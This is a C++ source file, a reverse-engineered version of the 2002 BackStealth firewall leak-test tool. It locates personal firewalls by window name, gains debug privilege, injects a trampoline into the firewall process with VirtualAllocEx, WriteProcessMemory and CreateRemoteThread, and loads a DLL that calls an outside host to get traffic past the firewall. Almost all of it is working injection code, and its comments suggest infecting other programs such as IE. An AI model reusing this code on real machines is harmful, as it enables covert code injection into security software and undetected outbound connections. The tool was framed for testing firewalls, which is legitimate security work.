/* * $Id: //devel/tools/main/backstealth/bs.cpp#1 $ * * written by : Stephen J. Friedl * Software Consultant * Tustin, California USA * steve@unixwiz.net * 2002/04/02 * * -------------------------------------------------------------- * CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT * -------------------------------------------------------------- * THis program is a reverse-engineered version of that which was * written by Paolo Iorio, http://piorio.supereva.it/ I take no * credit for the original idea, only that I know how to use a * disassembler and was able to understand what he did. * * His web page: http://piorio.supereva.it/backstealth.htm?p * * I claim no copyright on my own behalf for this code. * -------------------------------------------------------------- * CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT * -------------------------------------------------------------- * * * This program is a reverse-engineered version of BackStealth that * was release in April 2002. The idea is that it locates the personal * firewalls in memory by scanning for specific window names, and * once it finds them, it acquires a HANDLE to that process. * * We allocate a chunk of memory in the firewall's address space, * copy over a little trampoline function, and launch a remote * thread in the firewall's process space. This little bit of code * reads a (larger) DLL into memory and runs it, which gives us * full control inside that address space. * * VIRTUAL MEMORY LAYOUT * --------------------- * * We allocate a chunk of memory in the remote process address space, * and there are two parts. The first is a "header" of common data * that the trampoline function needs: a few functions, the path * of the DLL, the entry point, and so on. This is the "injection_data" * structure, and it's always the first thing in the memory chunk. * * Immediately after the injection data is the trampoline function * code itself. Due to the DWORD alignment of the structure before * it, we're pretty sure that the code is always aligned properly, * and it's usually very small (< 200 bytes). * * BUILDING THIS PROGRAM * --------------------- * * This used to be built with a simple command line, but now * requires a makefile. Sorry. * * BACKDLL.DLL * ------------ * * This program requires "backdll.dll" to exist in the same directory * as the .EXE, but we have not yet reverse engineered that code. * So we are for now trusting that it's not ill-behaved, which maay * or may not be a wise decision. The download is available at the * backstealth link above. * * The program makes an outbound HTTP connection to a fixed web * server and fetched a file: it's placed in \retrieve.dat in the * current drive. If this file shows up, it means that the fetch * was able to be made and (presumably) got past the firewall. * * We've replaced BACKDLL.DLL with MYDLL.DLL: see the source for * the full scoop. * * UNICODE * ------- * * This is a full Win32 app, so we've bitten the bullet and made it * all Unicode. We are using the routines mostly because * they let us go back and forth between UNICODE and ANSI * * COMMAND LINE * ------------- * * We support UNIX getopt() for cmdline parameters: * * -S force operation on the *local* process even if a firewall * is not found. This is only useful for testing the DLL and * the overall mechanism. If you use -S and we use "ourself", * it doesn't prove anything about any firewall. * * -R remove the "RETRIEVE.DAT" file before running the DLL. * This is just a convenience feature to save you from having * to do it yourself. * * -H h use "h" as the host to talk to. Can be IP address, which * bypasses DNS in every way. * * -U u use "u" as the URL to fetch. No HTTP or host part. */ #include "bscommon.h" #include "getopt.i" #include "bsdefs.h" #include "injdata.h" /*------------------------------------------------------------------------ * TUNABLE PARAMETERS * * These control the DLL that's loaded in the remote process as well as * the entry point function to run. The entry point is the "themain" * function, but if we use the extended notation ("_themain@4") we can * build our DLL without a DEF file - less baggage to carry around. */ #define ENTRYFUNC "_themain@4" // NOT UNICODE! #define DLLNAME _T("mydll.dll") #define REMOTE_HOST _T("www.pc-facile.com") #define REMOTE_URL _T("/security/backstealth.txt") /*------------------------------------------------------------------------ * INTERESTING PROGRAMS TO INFECT * * This is the table of windows that represent each of the personal * firewalls we know about. The firewall name is only used for reporting * to the user, and the window class and name are used to help us find * the window of interest: this window is our hook to getting to the * firewall's process. * * Technically these don't have to be firewalls: we can infect anything. * It seems that infecting IE would be a decent choice too because IE * is often granted permission to leave the network more or less with * no limitations. */ static const struct fwwins { const TCHAR *fwname; // name of the firewall const TCHAR *wclass; // window class const TCHAR *wname; // window name } Firewalls[] = { { _T("Black Ice Defender"), NULL, // window class _T("BlackICE PC Protection") // window name }, { _T("ZoneAlarm Pro Personal Firewall"), NULL, // window class _T("ZoneAlarm Pro") // window name }, { _T("ZoneAlarm Personal Firewall"), NULL, // window class _T("ZoneAlarm") // window name }, { _T("Sygate Personal Firewall"), _T("#32770"), // window class _T("Sygate Personal Firewall") // window name }, { _T("Sygate Personal Firewall Pro"), _T("#32770"), // window class _T("Sygate Personal Firewall Pro") // window name }, { _T("McAfee Personal Firewall"), _T("McAfee_FwClientClass"), // window class _T("McAfee_FwClientClass") // window name }, { _T("Tiny Personal Firewall"), _T("#32770"), // window class _T("TinyPersonalFirewallMainWindow") // window name }, { _T("Norton Internet Security 2002"), _T("Symantec NAMApp Class"), // window class 0 // window name }, { _T("Kerio Personal Firewall"), _T("#32770"), // window class _T("KerioPersonalFirewallMainWindow") // window name }, { 0 } /* ENDMARKER */ }; static void perform_injection(HANDLE hProcess, struct injection_data *); static void list_firewalls(void); static void replace_tailpath( TCHAR *fullpath, const TCHAR *tailpart ); static int __stdcall injection_sub(struct injection_data *idata); static void __stdcall injection_sub_end(void); static const TCHAR *remote_host = REMOTE_HOST; static const TCHAR *remote_url = REMOTE_URL; static int remove_data = FALSE; #ifdef UNICODE int __cdecl wmain(int argc, wchar_t **argv) #else int __cdecl main(int argc, char **argv) #endif { int force_Self = FALSE; /*---------------------------------------------------------------- * Just a little signon information */ _putts(_T("BACKSTEALTH 1.1 Security Test --- (C) 2002 Paolo Iorio")); _putts(_T("Updates by S. Friedl (steve@unixwiz.net)")); _tprintf(_T("Program compiled on %s %s\n"), _T(__DATE__), _T(__TIME__)); int c; while ( (c = getopt(argc, argv, _T("RSH:U:l"))) != EOF) { switch (c) { case 'l': list_firewalls(); exit(EXIT_SUCCESS); break; case 'H': remote_host = optarg; break; case 'U': remote_url = optarg; break; case 'R': remove_data = TRUE; break; case 'S': force_Self = TRUE; break; default: /* error msg already reported by getopt() */ exit(EXIT_FAILURE); } } #if 0 MessageBoxA( 0, "BACKSTEALTH 1.1 Security Test (C) 2002 Paolo Iorio", "BACKSTEALTH Security Test", MB_YESNO | MB_ICONQUESTION ); #endif /*---------------------------------------------------------------- * Search through the window system for the main windows for each * of the personal firewalls: when we find one, we make a note of * its process ID for later hooking. It's an error if we run through * the whole list without finding at least *one* firewall. * * If we find *no* firewall, for testing we use our own process. */ DWORD dwProcessID = 0; const TCHAR *fwname = 0; for ( const struct fwwins *pw = Firewalls; pw->fwname; pw++) { _tprintf( _T("Searching for %s\n"), pw->fwname); HWND hWnd = FindWindow( pw->wclass, pw->wname ); if ( hWnd ) { _tprintf(_T(" --> Found %s!\n"), fwname = pw->fwname); (void) GetWindowThreadProcessId(hWnd, &dwProcessID); } #if 0 else { _tprintf(_T(" Cannot find %s\n"), pw->fwname); } _tprintf(_T("\n")); #endif } if ( dwProcessID == 0 ) { fwname = _T("self"); if ( ! force_Self ) die(_T("ERROR: can't find any firewalls: exiting")); printf("Can't find any firewalls (using self process)\n"); dwProcessID = GetCurrentProcessId(); } /*---------------------------------------------------------------- * Attempt to raise our own privilege level by giving ourselves * the seDebugPrivilege right. */ (void) enable_priv("seDebugPrivilege"); // (void) enable_priv("seTcbPrivilege"); // (void) enable_priv("SeAssignPrimaryTokenPrivilege"); #if 0 /*---------------------------------------------------------------- * TESTING * * We wondered if the ERROR_ACCESS_DENIED was due to the process * "debuging itself" - only one debugger allowed at a time - but * we're pretty sure this is not the case. * * And "DebugActiveProcessStop" is only on XP :-( */ if ( ! DebugActiveProcess(dwProcessID) ) { die(_T("ERR: cannot DebugActiveProcess [err=%ld]"), GetLastError()); } printf("Process being debugged now.\n"); if ( ! DebugActiveProcessStop(dwProcessID) ) { printf("NOTE: cannot DebugActiveProcessStop [err=%ld]", GetLastError()); } printf("No longer debugging\n"); #endif /*---------------------------------------------------------------- * Now actually open the remote process. */ DWORD dwAccess = PROCESS_ALL_ACCESS; HANDLE hProcess = OpenProcess(dwAccess, FALSE, dwProcessID); if ( hProcess == NULL || hProcess == INVALID_HANDLE_VALUE ) { die(_T("ERR: cannot OpenProcess [err=%ld]"), GetLastError()); } _tprintf(_T("Remote process \"%s\" is open\n"), fwname); struct injection_data IData; ZeroMemory(&IData, sizeof IData); /*---------------------------------------------------------------- * The remote host & URL both have to be in ANSI, not Unicode. * It seems that Microsoft didn't provide Unicode version of * gethostbyname() and related functions, and the GET string we * send to the other end is always ANSI too. So we just keep it * in ANSI in the memory buffer. */ #ifdef _UNICODE wcstombs(IData.remote_host, remote_host, sizeof IData.remote_host); wcstombs(IData.remote_url, remote_url , sizeof IData.remote_url ); #else strcpy(IData.remote_host, remote_host); strcpy(IData.remote_url, remote_url); #endif perform_injection(hProcess, &IData); printf("\n"); return EXIT_SUCCESS; } /* * perform_injection() * * This modules does the remote DLL injection to the process given * by this handle. */ static void perform_injection(HANDLE hProcess, struct injection_data *idata) { /*---------------------------------------------------------------- * Program in the key functions that are required by the injection * subroutine. */ HINSTANCE hModule = LoadLibrary(_T("KERNEL32")); idata->fpLoadLibrary = (HMODULE (WINAPI *)(LPCTSTR)) #ifdef UNICODE GetProcAddress(hModule, "LoadLibraryW"); #else GetProcAddress(hModule, "LoadLibraryA"); #endif idata->fpGetProcAddress = (FARPROC (WINAPI *)(HMODULE, LPCSTR)) GetProcAddress(hModule, "GetProcAddress"); idata->fpFreeLibrary = (BOOL (WINAPI *)(HMODULE)) GetProcAddress(hModule, "FreeLibrary"); if (idata->fpLoadLibrary == 0) die(_T("can't find LoadLibraryA")); if (idata->fpGetProcAddress == 0) die(_T("can't find GetProcAddress")); if (idata->fpFreeLibrary == 0) die(_T("can't find FreeLibrary")); printf("LoadLibrary = 0x%08p\n", idata->fpLoadLibrary); printf("GetProcAddress = 0x%08p\n", idata->fpGetProcAddress); printf("FreeLibrary = 0x%08p\n", idata->fpFreeLibrary); strcpy( idata->entrypoint, ENTRYFUNC); // not unicode! /*---------------------------------------------------------------- * Assume that BACKDLL is in the same directory as this EXE, and * build the full path of it. We take the current module path and * just replace the tail component with the DLL name. */ if (GetModuleFileName( NULL, idata->dllpath, ASIZE(idata->dllpath))) { _tcscpy( idata->savefile, idata->dllpath ); replace_tailpath( idata->dllpath, DLLNAME ); replace_tailpath( idata->savefile, _T("RETRIEVE.DAT")); } else { die(_T("ERROR: cannot GetModuleFilename(self) [err=#%ld]"), GetLastError()); } if ( remove_data && DeleteFile( idata->savefile) ) { _tprintf(_T("Removed %s before running DLL\n"), idata->savefile); } _tprintf(_T("Save file = {%s}\n"), idata->savefile); idata->entryparam = 1; _tprintf(_T("DLL path = {%s}\n"), idata->dllpath ); printf( "Entry point = {%s}\n" , idata->entrypoint ); //!UNICODE /*---------------------------------------------------------------- * Compute the sizes of the two bits of memory that will get * copied over to the virtual chunk of memory: the injection_data * structure, plus the size of the injection function itself. * * Then we allocate the chunk of memory *IN THE REMOTE PROCESS*. * Note that we use PAGE_READWRITE, which seems to allow execute, * while PAGE_EXECUTE doesn't allow r/w access. */ DWORD nDatSize = sizeof *idata; DWORD nSubSize = (DWORD) injection_sub_end - (DWORD) injection_sub; _tprintf(_T("Injection sub = %d bytes\n"), nSubSize); LPVOID addr = VirtualAllocEx( hProcess, 0, // where to alloc nDatSize + nSubSize, // # of bytes MEM_COMMIT, // want real mem PAGE_EXECUTE_READWRITE ); if ( addr == 0 ) { die(_T("ERROR: cannot VirtualAllocEx [err=%ld]"), GetLastError()); } _tprintf(_T("VirtualAllocEx'd %d bytes at 0x%08p\n"), nDatSize + nSubSize, addr ); /*---------------------------------------------------------------- * WRITE REMOTE MEMORY * * We copy our "interesting" data to the chunk of remote memory * that we just allocated. It's done in two parts: first the * "injection data" header, then the code. */ DWORD NumberOfBytesWritten = 0; if ( ! WriteProcessMemory( hProcess, addr, idata, sizeof *idata, &NumberOfBytesWritten ) ) { die(_T("ERROR: cannot write injdata to remote [err=%ld]"), GetLastError() ); } void *startaddr = (void *)( sizeof *idata + (char *)addr ); void *codeaddr = (void*)injection_sub /*lint --e(611) //susp cast */; if ( ! WriteProcessMemory( hProcess, startaddr, codeaddr, nSubSize, &NumberOfBytesWritten ) ) { die(_T("ERROR: cannot write injsub to remote [err=%ld]"), GetLastError() ); } _putts(_T("Wrote process memory OK")); /*---------------------------------------------------------------- * Now for the money shot: launch the remote thread! */ DWORD dwThreadID; LPTHREAD_START_ROUTINE threadfunc = /*lint --e(611) //susp cast */ (DWORD (__stdcall *)(void *))startaddr; HANDLE hThread = CreateRemoteThread( hProcess, // where the thread lives 0, // security attrs 0, // Stack threadfunc, (void *)addr, 0, // creation flags &dwThreadID ); // thread ID if ( hThread == 0 ) { die(_T("ERROR: cannot CreateRemoteThread [err=%ld]"), GetLastError()); } _tprintf(_T("Remote thread created OK at 0x%08p\n"), startaddr ); DWORD rc = WaitForSingleObject(hThread, INFINITE); _tprintf(_T("WaitForSingleObject returns %d\n"), rc); /* printf("Remote thread exited: %d (rc=%d)\n", ((struct injection_data *)addr)->dwErrLine, rc); */ (void) CloseHandle(hThread); (void) VirtualFreeEx(hProcess, addr, 0, MEM_RELEASE); } /* * injection_sub() * * This is the snippet of code thatis injected into the remote * process's address space, and it does nothing more than launch * the DLL that's part of the injection data. * * But remember that since this is running "over there", we do * not have printf or other debugging. Gotta just live with the * error return. */ static int __stdcall injection_sub(struct injection_data *idata) { /*---------------------------------------------------------------- * First we try to load the the requested DLL into our address * space, giving us a handle to the module. It's a fatal error * if we cannot do this - no point in continuing. */ HINSTANCE hLibrary = idata->fpLoadLibrary(idata->dllpath); if ( hLibrary == 0 ) { idata->dwErrLine = __LINE__; return -1; } /*---------------------------------------------------------------- * Fetch the entry point from the user's DLL by name. If we can't * find it, then clearly we're not going to get anywhere. Error! */ int (WINAPI *fpEntryFunc)(struct injection_data *); fpEntryFunc = (int (__stdcall *)(struct injection_data *)) idata->fpGetProcAddress( hLibrary, idata->entrypoint); if ( fpEntryFunc == 0 ) { idata->dwErrLine = __LINE__; return -1; } /*---------------------------------------------------------------- * Now we allegedly have the pointer to the entry point, so call * it with the single parameter given in our injection data. We * use the return value and pass it back to the user after we * take care to release the library. */ int rc = fpEntryFunc( idata ); (void) idata->fpFreeLibrary( hLibrary ); // don't care if it fails return rc; } /* * injection_sub_end() * * This is a *dummy* function that serves no purpose other than to * give us the ability to mark the end of the *previous* function. * It seems like there should be another way to do this, but... */ static void __stdcall injection_sub_end(void) { /* NOTHING */ } /* * list_firewalls() * * Run through our table of firewalls and list their descriptions * and window/class names as well. This for debugging only. */ static void list_firewalls(void) { _putts(_T("Firewalls probed by this program (N=window name, C=class)")); for ( const struct fwwins *fw = Firewalls; fw->fwname; fw++ ) { TCHAR buf[256], *p = buf; p += _stprintf(p, _T(" \"%s\" "), fw->fwname); if ( fw->wname ) p += _stprintf(p, _T(" N={%s}"), fw->wname); if ( fw->wclass ) p += _stprintf(p, _T(" C={%s}"), fw->wclass); *p = '\0'; _putts(buf); } } /* * replace_tailpath() * * Given a buffer with the full pathname of a module, replace the * *last* part of it with the given component. We consider either * of the \ or / slashes as sufficient for our purposes. */ static void replace_tailpath( TCHAR *fullpath, const TCHAR *tailpart ) { assert( fullpath != 0 ); assert( tailpart != 0 ); TCHAR *last_slash = 0; for ( ; *fullpath; fullpath++ ) { if ( *fullpath == '\\' || *fullpath == '/' ) last_slash = fullpath; } if ( last_slash ) { _tcscpy( last_slash + 1, tailpart ); } else { *fullpath++ = '\\'; _tcscpy( fullpath, tailpart ); } }